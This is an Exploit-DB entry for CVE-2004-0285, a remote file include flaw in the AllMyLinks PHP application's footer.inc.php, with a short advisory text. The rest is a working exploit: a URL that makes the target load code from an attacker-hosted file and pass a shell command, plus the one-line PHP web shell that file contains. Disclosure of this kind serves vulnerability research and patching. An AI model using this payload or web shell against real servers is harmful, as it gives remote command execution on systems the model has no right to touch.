AllMyLinks 0.x - footer.inc.php Arbitrary Code Execution

2004-02-16T00:00:00
ID EDB-ID:23699
Type exploitdb
Reporter Pablo Santana
Modified 2004-02-16T00:00:00

Description

AllMyLinks 0.x footer.inc.php Arbitrary Code Execution. CVE-2004-0285. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/9664/info
  
Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.
  
This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:
  
<?php
system("$cmd");
?>